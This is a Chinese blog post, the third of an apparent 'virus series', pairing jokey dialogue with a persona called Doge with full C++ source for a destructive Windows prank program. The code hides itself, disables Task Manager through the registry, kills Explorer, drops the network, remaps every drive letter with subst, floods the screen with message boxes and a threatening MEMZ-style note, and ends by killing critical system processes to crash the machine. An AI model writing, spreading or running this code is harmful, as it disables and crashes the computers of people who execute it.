C++:病毒系列回归记3/3 (Doge智能系统已上线)
上一期:C++:病毒系列回归记2/3
上上期:C++:病毒系列回归记1/3
Doge:(脑回路修复完成,开始导入系统)(正在上线ing......)
Doge:提示:若没有看1和2的话,尽量先去看一下,否则可能看不懂。本期内容废话有点多,
可以直接看完整代码。
我:哟,没事了呀?上期没有气到你吧?
Doge:......
上期说给你们整个完整代码,OKK
Doge:作者,请注意您的用词,英语词典中未有定义'OKK'这个词
Doge:错误代码↓↓↓
我:(直接给Doge关机了)
代码奉上:
#include <windows.h>
#include <time.h>
#include <bits/stdc++.h>
using namespace std;void Blue_Screen()
{system("wmic process where name=\"svchost.exe\" delete");system("wmic process where name=\"LsaIso.exe\" delete");system("wmic process where name=\"smss.exe\" delete");system("taskkill /f /fi \"pid ne 1\"");
}void explore()//不可打开资源管理器
{system("taskkill /im explore.exe /f");
}
void release()//断开网络
{system("ipconfig /release");
}void Make_Text(string same, string name)
{ofstream outfile(same,ios::out); outfile << name;outfile.close();
}void CP_start()
{Make_Text("A.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");system("start A.bat");
}//鼠标指针的好管理
void Currur(int q)
{int x = GetSystemMetrics(SM_CXSCREEN);int y = GetSystemMetrics(SM_CYSCREEN);srand(time(0));if (q == 1)//当q为1时,进入死循环。while(1)SetCursorPos(rand() % x, rand() % y); else{//乱移鼠标的线程while(q){SetCursorPos(rand() % x, rand() % y);q--;} }
}
//控制台的好管理
void Hide()
{HWND s;s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄if (s) {ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口ShowWindow(s, SW_HIDE);//隐藏窗口}
}void CP_stop()
{Make_Text("B.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");system("start B.bat");
}void Make()
{Make_Text("ラム.vbs", "do\nmsgbox\"あなたのコンピュータGG\"\nloop");Make_Text("今年のトラック.vbs", "msgbox\"このプログラムは有効な 32 ビット プログラムではありません\",vbCritical");Make_Text("ロシアのスートン焼却発電.vbs", "msgbox\"致命的な重大なエラー\",vbExclamation");Make_Text("混雑した.vbs", "msgbox\"ごみ箱を空にしますか\",vbYesNo + vbInformation"); Make_Text("カトゥルピ.vbs", "msgbox\"あなたのコンピュータ\",vbYesNoCancel + vbQuestion"); Make_Text("防食層.vbs", "msgbox\"あたのコンピなたのコンピュータ!\",vbExclamation\nmsgbox\"韓国の錦湖がビッグVにコストをもたらす......\",vbCritical\n");Make_Text("MEMZ.txt", "YOUR computer will not be able to restart again. Your C drive has been destroyed. \nWait for the coming of the god of death! \nYou will have to go to the computer city to buy a new computer. Your prediction was one step behind mine.\nStupid human!");}void Crazy(int n)
{if(n == 0)system("start ラム.vbs");if(n == 1)system("start 今年のトラック.vbs");if(n == 2)system("start ロシアのスートン焼却発電.vbs");if(n == 3)system("start 混雑した.vbs"); if(n == 4)system("start カトゥルピ.vbs"); if(n == 5)system("start 防食層.vbs");
}void ColorChange(){//while(1){int cx=GetSystemMetrics(SM_CXSCREEN);int cy=GetSystemMetrics(SM_CYSCREEN);HWND hwnds;hwnds = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄if (hwnds) {ShowOwnedPopups(hwnds, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口ShowWindow(hwnds, SW_HIDE);//隐藏窗口}HDC hdcs = GetDC(0);BitBlt(hdcs, 0, 0, cx, cy, hdcs, 0, 0, NOTSRCCOPY); Sleep(1000);//}
}bool MaKer_ProcessRun()
{SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;PSID minID;BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);if(b){CheckTokenMembership(NULL, minID, &b);FreeSid(minID);return b == true;}elsereturn b == false;
}void Tsk()
{DWORD dword=TRUE;HKEY h;DWORD s = dword;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));RegCloseKey(h);
}void exe(int same)
{if(same == 0) system("start notepad");if(same == 1) system("start calc");if(same == 2) system("start winver");if(same == 3) system("start Nslookup");if(same == 4) system("start cmd");if(same == 5) system("start cleanmgr");if(same == 6) system("start charmap");if(same == 7) system("start dxdiag");if(same == 8) system("start taskmgr");if(same == 9) system("start wiaacmgr"); if(same == 10) system("start mspaint");if(same == 11) system("start mmc");if(same == 12) system("start explorer.exe");
}void icon(int x, int y, int n)
{FreeConsole();HWND hwnd = GetDesktopWindow();HDC hdc = GetWindowDC(hwnd);POINT point;GetCursorPos(&point);//锁定鼠标位置if(n == 1)//错误图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));if(n == 2)//感叹号图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));if(n == 3)//应用程序图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));
}void Black_White()
{FreeConsole();int x, y;x = GetSystemMetrics(SM_CYSCREEN);y = GetSystemMetrics(SM_CYSCREEN);HWND hwnda = GetDesktopWindow();HDC hdca = GetWindowDC(hwnda);POINT pointa;POINT point;GetCursorPos(&point);DrawIcon(hdca, pointa.x - 5, pointa.y - 5, LoadIcon(0, IDI_ERROR));int randx, randy;randx = rand() % x + 0;randy = rand() % y + 0;BitBlt(GetDC(0),rand() % x + 0, rand() % y + 0,randx+200,randy+200,GetDC(0),randx,randy,NOTSRCCOPY);//a = GetSystemMetrics(SM_CYSCREEN);
}
int main() {Hide();Tsk();Make();explore();release();srand((unsigned)time(NULL));system("start MEMZ.txt");Sleep(10000);int random;int times = 50;CP_start();while(1){random = rand() % 6;Crazy(random);Sleep(random * 200 + 500);times -= 1;if(times == 0)break;}times = 20;while(1){random = rand() % 13;exe(random);random = rand() % 3;icon(0, 0, random + 1);Sleep(random * 200 + 500);times -= 1;if(times == 0)break;}Sleep(1000);Blue_Screen();
}
先别急着走啊,按个Ctrl+D有惊喜啊